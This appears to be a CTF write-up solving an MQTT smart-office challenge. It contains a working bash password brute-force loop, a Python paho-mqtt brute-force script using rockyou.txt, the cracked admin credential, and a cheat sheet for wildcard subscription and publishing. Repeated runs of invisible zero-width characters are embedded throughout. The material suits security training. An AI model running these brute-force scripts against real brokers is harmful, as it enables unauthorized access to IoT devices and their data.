Умный офис (Smart Office)

Platform: duckerz | Category: Hardware | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: mqtt_enumeration, password_bruteforce, topic_subscription

Summary

Task: MQTT smart home system with default admin credentials. Solution: Bruteforce password using rockyou.txt, subscribe to wildcard topic to get flag.

Умный офис (Smart Office) - duckerz CTF

Description

В офисе DUCKERZ установили систему умного дома. Жалко, что это делали неумные люди (можно хотя бы было логин admin заменить, что ли).

Translation: "DUCKERZ office installed a smart home system. Too bad it was done by not-so-smart people (they could have at least changed the admin login)."

Resources:

• MQTT server: mqtt://tasks.duckerz.ru:30015

Analysis

Protocol Identification

The task clearly points to MQTT - the standard protocol for IoT and smart home systems:

• Port 30015 (non-standard, but typical for CTF)
• Mention of "smart home"
• URL format mqtt:// ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Hint in Description

Key hint: "можно хотя бы было логин admin заменить" (they could have at least changed the admin login) - this directly indicates:

1. Username: admin
2. Password is likely weak/default

Solution

Step 1: Installing MQTT Client

 bash read-only • copy allowed Copy
# macOS
brew install mosquitto

# Linux
apt install mosquitto-clients

Step 2: Initial Check

 bash read-only • copy allowed Copy
# Attempt connection with admin:admin
mosquitto_sub -h tasks.duckerz.ru -p 30015 -u admin -P admin -t '#' -v
# Result: Connection Refused: not authorised

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Password Bruteforce

Using rockyou.txt - the most popular password dictionary:

 bash read-only • copy allowed Copy
#!/bin/bash
# mqtt_bruteforce.sh

HOST="tasks.duckerz.ru"
PORT="30015"
USER="admin"
WORDLIST="./resources/wordlists/passwords/rockyou.txt"

head -100 "$WORDLIST" | while read pass; do
  result=$(/opt/homebrew/opt/mosquitto/bin/mosquitto_sub \
    -h "$HOST" \
    -p "$PORT" \
    -u "$USER" \
    -P "$pass" \
    -t '#' \
    -v \
    -C 1 \
    -W 2 2>&1)
  
  if [[ ! "$result" =~ "not authorised" ]]; then
    echo "[+] SUCCESS: $USER:$pass"
    echo "[+] Output: $result"
    break
  fi
done

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: Password found in top-100 rockyou: jennifer

Step 4: Connecting and Getting the Flag

 bash read-only • copy allowed Copy
mosquitto_sub -h tasks.duckerz.ru -p 30015 -u admin -P jennifer -t '#' -v

Output:

smartoffice DUCKERZ{REDACTED}

Alternative Approaches

Python with paho-mqtt

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import paho.mqtt.client as mqtt
import sys

def on_connect(client, userdata, flags, rc):
    if rc == 0:
        print(f"[+] Connected with {userdata['password']}")
        client.subscribe("#")
    else:
        print(f"[-] Failed: {userdata['password']}")
        client.disconnect()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def on_message(client, userdata, msg):
    print(f"[+] {msg.topic}: {msg.payload.decode()}")
    client.disconnect()

def try_password(host, port, user, password):
    client = mqtt.Client(userdata={'password': password})
    client.username_pw_set(user, password)
    client.on_connect = on_connect
    client.on_message = on_message
    
    try:
        client.connect(host, port, 60)
        client.loop_start()
        import time
        time.sleep(2)
        client.loop_stop()
    except:
        pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Bruteforce
with open('rockyou.txt', 'r', errors='ignore') as f:
    for password in f:
        password = password.strip()
        try_password('tasks.duckerz.ru', 30015, 'admin', password)

MQTT Cheatsheet

 bash read-only • copy allowed Copy
# Subscribe to all topics
mosquitto_sub -h HOST -p PORT -u USER -P PASS -t '#' -v

# Subscribe to specific topic
mosquitto_sub -h HOST -p PORT -t 'smartoffice/sensors/#' -v

# Publish a message
mosquitto_pub -h HOST -p PORT -t 'topic' -m 'message'

# Get only N messages
mosquitto_sub -h HOST -p PORT -t '#' -C 5
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Connection timeout
mosquitto_sub -h HOST -p PORT -t '#' -W 3

Useful Resources

• MQTT Protocol Specification
• Mosquitto Documentation
• MQTT Security Best Practices

Conclusions

1. Default credentials - classic IoT device vulnerability
2. Weak passwords - even when changing passwords, using dictionary passwords is critical
3. MQTT without TLS - traffic is transmitted in plain text
4. Wildcard subscription - allows receiving all messages in the system ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍